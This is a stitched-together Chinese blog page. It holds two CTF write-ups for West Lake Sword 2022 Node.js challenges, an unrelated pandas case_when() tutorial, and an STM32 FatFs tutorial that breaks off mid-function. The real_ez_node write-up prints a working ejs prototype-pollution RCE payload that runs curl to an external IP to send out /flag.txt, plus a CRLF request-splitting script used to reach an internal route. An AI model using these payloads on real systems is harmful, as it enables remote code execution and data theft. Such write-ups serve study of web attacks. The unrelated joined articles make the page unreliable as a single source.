2024年1月

[西湖论剑 2022]Node Magical Login

环境!启动!(ノへ ̄、)

这么一看好像弱口令啊,(不过西湖论剑题目怎么会这么简单,当时真的傻),那就bp抓包试一下(这里就不展示了,因为是展示自己思路,这里就写了一下当时的NC思路,其实是不对的┭┮﹏┭┮)

不是BP弱口令?那好吧,我们先看一下源码,比赛的时候是给了源码的NSS复现上是没有的,这里我把源码放在这里,或者可以去我主页GITHUB上下载“
源码

单独建立一个工程看一下

大概扒拉了一下,main.js,controller.js,login.css............(+.+)(-.-)(_ _) ..zzZZ,最终发现!应该是“
controller.js
”这里有关于flag的内容!

我把源码放在下边o.O?

const fs = require("fs");
const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"

const flag1 = fs.readFileSync("/flag1")
const flag2 = fs.readFileSync("/flag2")


function LoginController(req,res) {
    try {
        const username = req.body.username
        const password = req.body.password
        if (username !== "admin" || password !== Math.random().toString()) {
            res.status(401).type("text/html").send("Login Failed")
        } else {
            res.cookie("user",SECRET_COOKIE)
            res.redirect("/flag1")
        }
    } catch (__) {}
}

function CheckInternalController(req,res) {
    res.sendFile("check.html",{root:"static"})

}

function CheckController(req,res) {
    let checkcode = req.body.checkcode?req.body.checkcode:1234;
    console.log(req.body)
    if(checkcode.length === 16){
        try{
            checkcode = checkcode.toLowerCase()
            if(checkcode !== "aGr5AtSp55dRacer"){
                res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
            }
        }catch (__) {}
        res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
    }else{
        res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
    }
}

function Flag1Controller(req,res){
    try {
        if(req.cookies.user === SECRET_COOKIE){
            res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
            res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
            res.status(200).type("text/html").send("Login success. Welcome,admin!")
        }
        if(req.cookies.user === "admin") {
            res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
            res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
        }else{
            res.status(401).type("text/html").send("Unauthorized")
        }
    }catch (__) {}
}



module.exports = {
    LoginController,
    CheckInternalController,
    Flag1Controller,
    CheckController
}

很好理解先来第一段:

Flag1:

function LoginController(req,res) {
    try {
        const username = req.body.username
        const password = req.body.password
        if (username !== "admin" || password !== Math.random().toString()) {
            res.status(401).type("text/html").send("Login Failed")
        } else {
            res.cookie("user",SECRET_COOKIE)
            res.redirect("/flag1")
        }
    } catch (__) {}
}

这代码从上向下看就是username !== "admin"也就是让他等于admin,相当于屏蔽了这个,好解决BP启动!

抓到包以后直接改cookie就好了(・-・*),还有因为是访问请求,所以,GET一下flag1

Cookie:user=admin
GET /flag1 HTTP/1.1

得到:

好耶!我们得到了一半的flag!(*^▽^*)

NSSCTF{0a8c2d78-ee0e

那就接着看代码,找Flag2:

Flag2:

看了可以知道,访问 / 路由时,要满足密码为 Math.random().toString()的 随机数,因此cookie设为SECRET_COOKIE。

那么我们再看一下flag2 的相关代码:

function CheckController(req,res) {
    let checkcode = req.body.checkcode?req.body.checkcode:1234;
    console.log(req.body)
    if(checkcode.length === 16){
        try{
            checkcode = checkcode.toLowerCase()
            if(checkcode !== "aGr5AtSp55dRacer"){
                res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
            }
        }catch (__) {}
        res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
    }else{
        res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
    }
}

这段代码其实很好理解,要上传一段长度为16位的码,同时要让checkcode不等于“aGr5AtSp55dRacer”还有就是因为有”toLowerCase“会把字符小写所以考虑用node的相关漏洞,具体讲解有大神讲过了,意思是node有个遗传性,比如:

oi1=1
oi2//不赋值
这个时候我们调用oi1那就会把io2也是1

这个不仅是赋值,同样还有Function也继承,类似于php继承性,这是讲解视频:
Node.js原型链污染

那么我们继续开始赋值,因为他让不等于而且会被默认小写,可以考虑数组:

两种写法:

{"checkcode":["aGr5AtSp55dRacer",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}
{"checkcode":["a","G","r","5","A","t","S","p","5","5","d","R","a","c","e","r"]}

其实是一样的都是凑够"16"位带入进去,还有就是因为是json形式的文件所以改一下json上传(好烦的要求┏┛墓┗┓...(((m -__-)m),还要记得访问flag2:

POST /getflag2 HTTP/1.1//这个是头
Content-Type:application/json//这个是文件形式

两种写的格式截图放这里:

效果一致得到Flag2(lll¬ω¬)

-43a7-9d6e-fba3cc3240ab}

最终为:

NSSCTF{0a8c2d78-ee0e-43a7-9d6e-fba3cc3240ab}

结束<(^-^)>

[西湖论剑 2022]real_ez_node

让我先把环境拉起来!这题是有源码包的,我放到了自己的Github上了,可以去下载一下“启动链接!”

思路确认环节

ejs?等会这题叫node是吧,突然想到之前群里的师傅在谈论的node漏洞,这题这么新颖么?先看一下源码吧O.o,F12看一眼,果然没有东西,那打开Kali扫一下,啊也没有耶,那种只能看看源码了(这里是边写边做的,也算是帮很多人排除错误选项)

VSCODE打开看一眼源码:

这里不是很清楚为什么在NSS上的源码包这么多东西,我去其实仔细审计以后(我是真的把每一个文件夹都看了一遍,脑子要吐了T-T),找到了
routes
里边的
index.js
以及
docker\docker\web1\files
中的
start.sh

那么首先锁定了flag的位置:flag位置在根目录下
/flag.txt

接着开始快e乐xin的审计代码:……]((o_ _)'彡☆

var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
  if (req.query.q) {
    console.log('get q');
  }
  res.render('index');
})
router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];
                  
                    let error;
                    // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                    if (statusCode !== 200) {
                      error = new Error('Request Failed.\n' +
                                        `Status Code: ${statusCode}`);
                    }
                    if (error) {
                      console.error(error.message);
                      // 消费响应数据以释放内存
                      res1.resume();
                      return;
                    }
                  
                    res1.setEncoding('utf8');
                    let rawData = '';
                    res1.on('data', (chunk) => { rawData += chunk;
                    res.end('request success') });
                    res1.on('end', () => {
                      try {
                        const parsedData = JSON.parse(rawData);
                        res.end(parsedData+'');
                      } catch (e) {
                        res.end(e.message+'');
                      }
                    });
                  }).on('error', (e) => {
                    res.end(`Got error: ${e.message}`);
                  })
                res.end('ok');
            } catch (error) {
                res.end(error+'');
            }
    } else {
        res.send("search param 'q' missing!");
    }
})
module.exports = router;v

大概看了下代码首先,这题叫做node那么大概率就是原型链污染了,粗略看代码又有
safeobj.expand()

safeobj.expand()
这一块类明显的在user中的污染链函数,又有打算开环境以后的ejs提示,那问题锁定,就是ejs模板引擎污染。

好的,主席说过“治理污染要治本,绿水青山.........”那就开始找源头!ヽ( ̄︿ ̄ )—C

1.首先在代码18行到25行看到了两个东西:
要求我们从本地(127.0.0.1)访问

过滤了
__proto__

2.再往下看一看,发现有SSRF的节点可利用:

这样看我就有思路了!ε=ε=ε=(~ ̄▽ ̄)~

先通过路由利用CRLF还有它给我ban 了的本地连接身份向/copy发一个POST请求,再去解决污染!说干就淦

调试payload环节

ejs污染原型链

既然是
___proto___
这种原型链污染那我们用模板就可以了。借用“
jay17
”大大的博客内容,对
___proto___
使用
constructor.prototype
绕过

(实例对象)foo.__proto__ == (类)Foo.prototype

ejs原型链污染的payload模板是这样的!d=====( ̄▽ ̄*)b

{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); //"}}}

仔细看代码,
let user={}
;,user的上一层就是
Object
,考虑只有一次污染,那么就只有一个
___proto___

payload如下:

{
	"__proto__":{
		"outputFunctionName":"a=1; return 			global.process.mainModule.constructor._load('child_process').execSync('dir'); //"
	}
}

safeobj里的expand方法, 直接递归按照 “.”做分隔写入 obj,可以原型链污染。传入{“a.b”:“123”}会进行赋值a.b=123

{
    "constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl 120.46.41.173:9023/`cat /flag.txt`');//"
}

最终完善一下代码:

expand: function (obj, path, thing) {
      if (!path || typeof thing === 'undefined') {
        return;
      }
      obj = isObject(obj) && obj !== null ? obj : {};
      var props = path.split('.');
      if (props.length === 1) {
        obj[props.shift()] = thing;
      } else {
        var prop = props.shift();
        if (!(prop in obj)) {
          obj[prop] = {};
        }
        _safe.expand(obj[prop], props.join('.'), thing);
      }
    },

CRLF

这里我想了好多种讲解方法,最终觉得我讲理论会有点难理解,有兴趣的师傅们可以去刚才我附赠的jay-17大大那个博客翻找一下,我直接给构成的脚本,生成就好了✧(≖ ◡ ≖✿)

原始脚本:

payload = ''' HTTP/1.1

[POST /upload.php HTTP/1.1
Host: 127.0.0.1]自己的http请求

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

payload = payload.replace('\r\n', '\u010d\u010a') \
    .replace('+', '\u012b') \
    .replace(' ', '\u0120') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \
    .replace('`', '\u0127') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \

print(payload)

题目所需脚本:

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 175

{"constructor.prototype.outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('curl //地址// /`cat /flag.txt`');//"}
'''.replace("\n", "\r\n")

payload = payload.replace('\r\n', '\u010d\u010a') \
    .replace('+', '\u012b') \
    .replace(' ', '\u0120') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') \
    .replace('[', '\u015b') \
    .replace(']', '\u015d') \
    .replace('`', '\u0127') \
    .replace('"', '\u0122') \
    .replace("'", '\u0a27') 

print(payload)

注意下哦,这里为什么填175,POST数据长度173,但是POST还包含了两个\n会被替换为\r\n,总长度要加2( *︾▽︾)

生成paylaod后发包:

/curl?q=生成的payload URL编码

本文示例代码已上传至我的
Github
仓库
https://github.com/CNFeffery/DataScienceStudyNotes

1 简介

大家好我是费老师,
pandas
在前不久更新的
2.2
版本中,针对
Series
对象新增了
case_when()
方法,用于实现类似
SQL
中经典的
CASE WHEN
语句功能,今天的文章中,我们就来get其具体使用方法~

2 pandas中的case_when()新方法

首先请确保你的
pandas
版本大于等于
2.2
,在确保
Python
版本大于等于
3.9
的前提下,终端执行下列命令安装最新版本的
pandas

pip install pandas -U

2.1 case_when()的使用

case_when()
作为
Series
对象的方法,其参数非常简单只有一个
caselist
,用于定义条件映射规则,格式如
[(条件1, 替代值1), (条件2, 替代值2), ...]
,最基础的用法下,每个条件为与目标
Series
长度相等的
bool
值序列,譬如下面的例子:

更灵活的方式,是将条件写作可执行函数,譬如
lambda
函数,进而引用自身实现灵活的条件判断:

函数式条件,在针对数据框进行
链式分析
的过程中,可以很灵活的基于上一步的
临时计算状态
,进行条件赋值操作,譬如(示例数据及代码见文章开头仓库地址):

更多有关
case_when()
方法的介绍,请移步官方文档:
https://pandas.pydata.org/docs/reference/api/pandas.Series.case_when.html


以上就是本文的全部内容,欢迎在评论区与我进行讨论~

1、准备材料

正点原子stm32f407探索者开发板V2.4

STM32CubeMX软件(
Version 6.10.0

keil µVision5 IDE(
MDK-Arm

ST-LINK/V2驱动

野火DAP仿真器

XCOM V2.6串口助手

2、实验目标

使用STM32CubeMX软件配置STM32F407开发板
使用FatFs中间件通过SPI通信协议对W25Q128芯片进行读写等操作

3、实验流程

3.0、前提知识

关于STM32F407使用SPI通信协议对W25Q128 FLASH芯片读写等操作涉及的SPI通信协议及W25Q128芯片相关知识请读者阅读
STM32CubeMX教程20 SPI - W25Q128驱动
实验,本实验不再过多介绍

对于容量较小的存储设备可以使用底层库函数直接根据内存地址对设备来进行读写,但是一旦存储设备容量稍大,直接根据地址对设备来进行读写将变得比较困难

这个时候使用文件系统来对存储设备进行各种操作将比较方便,
FatFs是适用于小型嵌入式系统的通用 FAT/exFAT 文件系统模块,它与磁盘I/O层完全分离,可以独立于硬件平台,因此非常方便移植

STM32CubeMX Version 6.10.0 中在中间件和软件包 Middleware and Software Packs 中集成了R0.12c 版本的FatFs文件系统模块,这个中间件支持Extemal SRAM、SD Card、USB Disk和User-defined四种模式

其中外部SRAM需要启用FSMC连接SRAM功能后才可以勾选,SD卡需要启用SDIO功能之后才可以勾选,USB Disk需要配置USB为大容量存储主机类功能后才可以勾选,User-defined则任何时候都可以勾选,将FatFs配置在User-defined模式下就可以利用FatFs使用除上述提到的三种存储之外的设备,比如SPI FLASH等

我们可以通过其官网
FatFs历史版本记录
找到 R0.12c 版本的FatFs源码,将其下载下来之后观察其源码目录结构如下图所示

其中ff.c/ff.h为FatF模块的源码;fconf.h文件为模块配置文件,可以通过宏定义来选择哪些功能开启,哪些功能关闭;integer.h文件为变量类型重命名文件,主要是为了兼容不同的变量类型命名;option文件夹中的文件为unicode编码文件和操作系统相关函数的文件;上面提到的这些文件用户一般无需修改

如果读者希望手动移植FatFs到自己的嵌入式系统上,则应重点关注源码中diskio.c/diskio.h两个文件
,这两个文件中需要根据用户使用的RAM、MMC和USB这几个不同的内存类型来实现以下几个底层函数,函数如下列表所示,完成之后就可以直接通过FatFs提供的上层应用接口(eg:f_open())来对底层的存储设备进行操作

  1. 存储设备状态读取函数disk_status()
  2. 存储设备初始化函数disk_initialize()
  3. 存储设备读函数disk_read()
  4. 存储设备写函数disk_write()
  5. 存储设备IO控制操作函数disk_ioctl()

但是如果要使用 STM32CubeMX 配置的话就不需要自己下载和移植源码
,通过配置 STM32CubeMX 的 FatFs ,在生成的工程代码中就已经将 FatFs 的框架准备好,用户只需在生成的 user_diskio.c 文件中添加底层驱动IO函数即可(仅仅对于 User-defined 模式需要自己添加,其他的模式底层代码会自动生成),具体请阅读本实验”3.2.3、添加其他必要代码“小节

在 FatFs 中,大多数的API都拥有一个名为 FRESULT 的结构体返回值,其包含了20个枚举对象,由于该返回值对于查找错误有很大帮助,因此笔者在这里列出来所有返回值并做了简单解释,具体如下源代码所示

typedef enum {
	FR_OK = 0,				/* (0) 成功 */
	FR_DISK_ERR,			/* (1) 在Disk IO层发生硬错误,检查user_diskio.c中代码 */
	FR_INT_ERR,				/* (2) 参数检查错误 */
	FR_NOT_READY,			/* (3) 物理驱动器不工作 */
	FR_NO_FILE,				/* (4) 找不到文件 */
	FR_NO_PATH,				/* (5) 找不到路径 */
	FR_INVALID_NAME,		/* (6) 路径名称格式无效,检查是否8.3格式/是否支持长文件名 */
	FR_DENIED,				/* (7) 因禁止访问或目录满导致无法访问 */
	FR_EXIST,				/* (8) 因禁止访问导致无法访问 */
	FR_INVALID_OBJECT,		/* (9) 文件/目录无效 */
	FR_WRITE_PROTECTED,		/* (10) 物理驱动器写保护 */
	FR_INVALID_DRIVE,		/* (11) 逻辑驱动器号无效 */
	FR_NOT_ENABLED,			/* (12) 卷无工作区 */
	FR_NO_FILESYSTEM,		/* (13) 无有效FAT卷 */
	FR_MKFS_ABORTED,		/* (14) 函数f_mkfs()因为问题终止 */
	FR_TIMEOUT,				/* (15) 不能在限定时间内获得访问卷的许可 */
	FR_LOCKED,				/* (16) 因为文件共享策略导致操作被拒绝 */
	FR_NOT_ENOUGH_CORE,		/* (17) 不能分配长文件名工作缓存区 */
	FR_TOO_MANY_OPEN_FILES,	/* (18) 打开文件个数大于_FS_LOCK */
	FR_INVALID_PARAMETER	/* (19) 无效参数 */
} FRESULT;

下图所示为带有 FatFs 模块的嵌入式系统的典型但非特定配置的依赖关系图,其中用户只需重点关注和实现"Low level disk I/O layer",实现之后在实际应用中只需使用 "User Application"中提供的上层应用接口即可
(注释1)

3.1、CubeMX相关配置

3.1.0、工程基本配置

打开STM32CubeMX软件,单击ACCESS TO MCU SELECTOR选择开发板MCU(选择你使用开发板的主控MCU型号),选中MCU型号后单击页面右上角Start Project开始工程,具体如下图所示

开始工程之后在配置主页面System Core/RCC中配置HSE/LSE晶振,在System Core/SYS中配置Debug模式,具体如下图所示

详细工程建立内容读者可以阅读“
STM32CubeMX教程1 工程建立

3.1.1、时钟树配置

系统时钟使用8MHz外部高速时钟HSE,HCLK、PCLK1和PCLK2均设置为STM32F407能达到的最高时钟频率,具体如下图所示

3.1.2、外设参数配置

本实验需要初始化开发板上WK_UP、KEY2、KEY1和KEY0用户按键,具体配置步骤请阅读“
STM32CubeMX教程3 GPIO输入 - 按键响应

本实验需要初始化USART1作为输出信息渠道,具体配置步骤请阅读“
STM32CubeMX教程9 USART/UART 异步通信

本实验需要以
STM32CubeMX教程20 SPI - W25Q128驱动
实验为基础,需要读者能够通过CubeMX软件配置STM32F407的SPI实现正常读写W25Q128芯片的功能,然后接下来只需要增加本实验需要的中间件FatFs即可

在Pinout & Configuration页面左边的功能分类栏中
单击 Middleware and SoftwarePacks/FATFS,然后在右边的Mode下勾选 User-defined (目前只有该参数可以勾选)
,在下方Configuration/Set Defines对FatFs的功能进行配置,这个页面所有参数对应FatFs源码ffconf.h中的宏定义

这里我们将
CODE_PAGE(Code page on target)
参数修改为 Simplified Chinese (DBCS) ,然后将
MAX_SS (Maximum Sector Size)
参数修改为W25Q128芯片的扇区大小4096字节,其他所有参数不做修改
,具体如下图所示

笔者将Set Defines页面的所有参数列为了一个表格,方便做简单介绍,具体如下图所示

3.1.3、外设中断配置

本实验无需配置任何中断

3.2、生成代码

3.2.0、配置Project Manager页面

单击进入Project Manager页面,在左边Project分栏中修改工程名称、工程目录和工具链,
接着在链接设置中将最小栈大小修改为0x2000(8KB),之前所有实验该参数都为默认的0x0400(1KB),这是因为其他实验不需要占用太多的栈空间,但是本实验需要比较大的栈空间,不增加可能会导致FatFs读写文件失败卡死或者导致MCU复位的情况发生,读者可根据自己的情况自行设置栈大小

然后在Code Generator中勾选“Gnerate peripheral initialization as a pair of 'c/h' files per peripheral”,最后单击页面右上角GENERATE CODE生成工程,具体如下图所示

详细Project Manager配置内容读者可以阅读“
STM32CubeMX教程1 工程建立
”实验3.4.3小节

3.2.1、外设初始化调用流程

关于SPI的初始化函数调用流程请读者阅读
STM32CubeMX教程20 SPI - W25Q128驱动
实验的”3.2.1、外设初始化调用流程“小节,在此不再赘述

重点来看看FatFs中间件是如何被初始化并与W25Q128芯片底层操作联系在一起的
,首先在CubeMX中勾选启用FatFs中间件之后,会在生成的工程代码中增加MX_FATFS_Init()初始化函数,在该函数中只调用了FATFS_LinkDriver()一个函数

这个FATFS_LinkDriver()函数将一个名为 xxx_Driver(根据所选的存储设备不同,生成的该变量名称也会改变,比如User_Driver,SD_Driver等)的 Diskio_drvTypeDef 类结构体链接到了FatFs管理的驱动器列表中,并将卷路径赋值为"0:/"

那么 xxx_Driver 是什么,为什么要将这个Diskio_drvTypeDef 类结构体的变量链接给FatFs管理呢?

跳转到 xxx_Driver 的定义处,我们发现该结构体变量中保存了五个函数指针,刚刚好就是我们需要实现的对存储设备进行底层读写等操作的函数,具体xxx_Driver定义如下述代码所示

Diskio_drvTypeDef USER_Driver =
{
  USER_initialize,
  USER_status,
  USER_read,
  USER_write,
  USER_ioctl,
};

至此我们知道了FatFs初始化就是将用户重新实现的与存储设备底层进行读写等操作的函数链接到FatFs管理的驱动器列表中,将这些底层函数交给FatFs管理
,用户直接使用FatFs提供的上层API函数来操作即可,对于为什么可以这样需要分析FatFs源码,本文就不涉及了

3.2.2、外设中断调用流程

本实验无配置任何中断

3.2.3、添加其他必要代码

打开整个工程之后观察其文件结构目录,在CubeMX中启用FatFs之后在生成的工程代码目录中会增加FatFs源码文件夹(该文件夹中文件无需用户修改),同时增加App和Target两个文件夹,
在App文件夹中的fatfs.c文件需要用户实现获取RTC时间的函数①get_fattime(),在App文件夹中的user_diskio.c中需要用户实现②USER_initialize()、③USER_status()、④USER_read()、⑤USER_write()和⑥USER_ioctl()共计六个函数
,其中USER_initialize(),USER_status(),USER_read()三个函数必须实现,其他函数按需实现,其文件结构目录如下图所示

对于配置为User-defined模式的FatFs来说,上面App文件夹和Target文件夹中的内容均需要用户自己实现,因为CubeMX并不知道用户想要使用的存储设备,所以也无法自动生成底层读写的IO驱动函数,但是对于Extemal SRAM、SD Card和USB Disk这三种固定类型的存储,则无需用户在App文件夹和Target文件夹中重新实现上面提到的一共六个函数,CubeMX生成的工程代码中会自动实现

接下来我们来实现上面提到的六个函数
,注意FatFs获取RTC时间需要开启STM32F407的RTC功能,关于RTC的具体使用方法,读者可以阅读
STM32CubeMX教程10 RTC 实时时钟 - 周期唤醒、闹钟AB事件和备份寄存器
实验,如果不需要可以直接将函数体内容注释

对于Flash_ReadID()、Flash_ReadBytes()和Flash_WriteSector()三个函数是在
STM32CubeMX教程20 SPI - W25Q128驱动
实验中实现的,请读者自行查阅,重新实现的六个函数源代码如下所示

/*fatfs.h文件中*/
/*添加RTC头文件*/
#include "rtc.h"

/*fatfs.c文件中*/
/*FatFs获取RTC时间*/
DWORD get_fattime(void)
{
  /* USER CODE BEGIN get_fattime */
	RTC_TimeTypeDef sTime;
	RTC_DateTypeDef sDate;
	//获取RTC时间
	if(HAL_RTC_GetTime(&hrtc, &sTime, RTC_FORMAT_BIN) == HAL_OK)
	{
		//获取RTC日期
		HAL_RTC_GetDate(&hrtc, &sDate, RTC_FORMAT_BIN);
		
		WORD date=(2000+sDate.Year-1980)<<9;
		date = date |(sDate.Month<<5) |sDate.Date;

		WORD time=sTime.Hours<<11;
		time = time | (sTime.Minutes<<5) | (sTime.Seconds>1);
		DWORD dt=(date<<16) | time;
		
		return	dt;
	}
	else
		return 0;
  /* USER CODE END get_fattime */
}

/*user_diskio.c文件中*/
/*存储设备初始化函数*/
DSTATUS USER_initialize (
	BYTE pdrv           /* Physical drive nmuber to identify the drive */
)
{
  /* USER CODE BEGIN INIT */
		Stat = STA_NOINIT;
		//获取驱动器状态
		Stat = USER_status(pdrv);    
    return Stat;
  /* USER CODE END INIT */
}

/*获取存储设备状态*/
DSTATUS USER_status (
	BYTE pdrv       /* Physical drive number to identify the drive */
)
{
  /* USER CODE BEGIN STATUS */
		Stat = STA_NOINIT;		  //驱动器未初始化,Stat=0x01
		if(Flash_ReadID() != 0)   //读取Flash芯片的ID,只要不是0就表示En25Q128已初始化
			Stat &= ~STA_NOINIT;  //Stat=0x00
		return Stat;
  /* USER CODE END STATUS */
}

/*底层读函数*/
DRESULT USER_read (
	BYTE pdrv,      /* Physical drive nmuber to identify the drive */
	BYTE *buff,     /* Data buffer to store read data */
	DWORD sector,   /* Sector address in LBA */
	UINT count      /* Number of sectors to read */
)
{
  /* USER CODE BEGIN READ */
	//扇区编号左移12位得绝对起始地址
	uint32_t globalAddr = sector << 12;  
	//字节个数,左移12位就是乘4096,每个扇有4096字节
	uint16_t byteCount = count << 12;   
	//读取数据
	Flash_ReadBytes(globalAddr, (uint8_t *)buff, byteCount);
	
	return RES_OK;
  /* USER CODE END READ */
}

/*底层写函数*/
DRESULT USER_write (
	BYTE pdrv,          /* Physical drive nmuber to identify the drive */
	const BYTE *buff,   /* Data to be written */
	DWORD sector,       /* Sector address in LBA */
	UINT count          /* Number of sectors to write */
)
{
  /* USER CODE BEGIN WRITE */
  /* USER CODE HERE */
	//绝对地址
	uint32_t globalAddr = sector<<12;  
	//字节个数
	uint16_t byteCount  = count<<12;   
	Flash_WriteSector(globalAddr, (uint8_t*)buff, byteCount);
	
	return RES_OK;                                                                                                                       
  /* USER CODE END WRITE */
}

/*底层控制操作函数*/
DRESULT USER_ioctl (
	BYTE pdrv,      /* Physical drive nmuber (0..) */
	BYTE cmd,       /* Control code */
	void *buff      /* Buffer to send/receive control data */
)
{
  /* USER CODE BEGIN IOCTL */
	DRESULT res = RES_OK;
	
	switch(cmd)
	{
		/*以下四个命令都是按照FatFs默认参数配置时必须需要的*/
		//完成挂起的写入过程(在_FS_READONLY == 0时需要)
		case CTRL_SYNC:   
			break;
			
		//获取存储介质容量(在_USE_MKFS == 1时需要)
		case GET_SECTOR_COUNT:  
			//W25Q128总的扇区个数,4096
			*(DWORD *)buff = FLASH_SECTOR_COUNT;  
			break;
			
		//获取扇区大小(_MAX_SS != _MIN_SS时需要)
		case GET_SECTOR_SIZE:  
			//W25Q128每个扇区的大小,4096字节
			*(DWORD *)buff = FLASH_SECTOR_SIZE;  
			break;
			
		//获取擦除块的大小(_USE_MKFS == 1时需要)
		case GET_BLOCK_SIZE:  
			//W25Q128每个块拥有16个扇区,按块擦除
			*(DWORD *)buff = 16;  
			break;
		
		default:
			res = RES_ERROR;
	}

	return res;
  /* USER CODE END IOCTL */
}

然后增加使用FatFs库中API进行文件操作的函数,包括挂载文件系统、显示SD卡信息、读/写TXT文件、获取文件信息、扫描文件列表和删除文件等函数,笔者将其封装在了file_operate.c/file_operate.h文件中,具体的源代码如下所示

file_operate.c文件

#include "file_operate.h"

//定义用于格式化的工作区缓存
BYTE workBuffer[4*User_Sector];

/*挂载FatFs文件系统*/
void Mount_FatFs(void)
{
	//挂载文件系统
	FRESULT retUSER = f_mount(&User_FatFs, User_SDPath, 1);
	//发生错误
	if(retUSER != FR_OK)
	{
		//没有文件系统,需要格式化
		if(retUSER == FR_NO_FILESYSTEM)
		{
			printf("\r\n没有文件系统,开始格式化\r\n");
			//创建文件系统
			retUSER = f_mkfs(User_SDPath, FM_FAT32, 0, workBuffer, 4*User_Sector);
			//格式化失败
			if(retUSER != FR_OK)
			{
				printf("格式化失败,错误代码 = %d\r\n", retUSER);
			}
			//格式化成功
			else
			{
				printf("格式化成功,开始重新挂载\r\n");
				//有文件系统后重新挂载
				retUSER = f_mount(&User_FatFs, User_SDPath, 1);
				//挂载失败
				if(retUSER != FR_OK)
				{
					printf("发生错误,错误代码 = %d\r\n", retUSER);
				}
				//挂载成功
				else
				{
					printf("*** 文件系统挂载成功 ***\r\n");
				}
			}
		}
		//不是没有文件系统,而是发生其他错误
		else
		{
			printf("发生其他错误,错误代码 = %d\r\n", retUSER);
		}
	}
	//有文件系统直接挂在成功
	else
	{
		printf("文件系统挂载成功\r\n");
	}
}

/*获取磁盘信息并在LCD上显示*/
void FatFs_GetDiskInfo(void)
{
    FATFS *fs;
	//定义剩余簇个数变量
    DWORD fre_clust; 
	//获取剩余簇个数
    FRESULT res = f_getfree("0:", &fre_clust, &fs); 
	//获取失败
    if(res != FR_OK)
    {
        printf("f_getfree() error\r\n");
        return;
    }
    printf("\r\n*** FAT disk info ***\r\n");
		
	//总的扇区个数
    DWORD tot_sect = (fs->n_fatent - 2) * fs->csize;  
		
	//剩余的扇区个数 = 剩余簇个数 * 每个簇的扇区个数
    DWORD fre_sect = fre_clust * fs->csize;    
		
	//对于SD卡和U盘, _MIN_SS=512字节
#if  _MAX_SS == _MIN_SS  
    //SD卡的_MIN_SS固定为512,右移11位相当于除以2048
	//剩余空间大小,单位:MB,用于SD卡,U盘
    DWORD freespace= (fre_sect>>11); 
		//总空间大小,单位:MB,用于SD卡,U盘		
    DWORD totalSpace= (tot_sect>>11);  
#else
	//Flash存储器,小容量
	//剩余空间大小,单位:KB
    DWORD freespace= (fre_sect*fs->ssize)>>10;   
	//总空间大小,单位:KB
    DWORD totalSpace= (tot_sect*fs->ssize)>>10;  
#endif

	//FAT类型
    printf("FAT type = %d\r\n",fs->fs_type);
    printf("[1=FAT12,2=FAT16,3=FAT32,4=exFAT]\r\n");
		
	//扇区大小,单位字节
    printf("Sector size(bytes) = ");
	//SD卡固定512字节
#if  _MAX_SS == _MIN_SS 
    printf("%d\r\n", _MIN_SS);
#else
	//FLASH存储器
    printf("%d\r\n", fs->ssize);
#endif
		
    printf("Cluster size(sectors) = %d\r\n", fs->csize);
    printf("Total cluster count = %ld\r\n", fs->n_fatent-2);
    printf("Total sector count = %ld\r\n", tot_sect);
		
	//总空间
#if  _MAX_SS == _MIN_SS 
    printf("Total space(MB) = %ld\r\n", totalSpace);
#else
    printf("Total space(KB) = %ld\r\n", totalSpace);
#endif
		
	//空闲簇数量
    printf("Free cluster count = %ld\r\n",fre_clust);
	//空闲扇区数量
    printf("Free sector count = %ld\r\n", fre_sect);
		
	//空闲空间
#if  _MAX_SS == _MIN_SS 
    printf("Free space(MB) = %ld\r\n", freespace);
#else
    printf("Free space(KB) = %ld\r\n", freespace);
#endif

    printf("Get FAT disk info OK\r\n");
}

/*创建文本文件*/
void FatFs_WriteTXTFile(TCHAR *filename,uint16_t year, uint8_t month, uint8_t day)
{
	FIL	file;
	printf("\r\n*** Creating TXT file: %s ***\r\n", filename);
	
	FRESULT res = f_open(&file, filename, FA_CREATE_ALWAYS | FA_WRITE);
	//打开/创建文件成功
	if(res == FR_OK)
	{
		//字符串必须有换行符"\n"
		TCHAR str[]="Line1: Hello, FatFs***\n";  
		//不会写入结束符"\0"
		f_puts(str, &file); 
		
		printf("Write file OK: %s\r\n", filename);
	}
	else
	{
		printf("Open file error,error code: %d\r\n", res);
	}
	//使用完毕关闭文件
	f_close(&file);
}

/*读取一个文本文件的内容*/
void FatFs_ReadTXTFile(TCHAR *filename)
{
	printf("\r\n*** Reading TXT file: %s ***\r\n", filename);

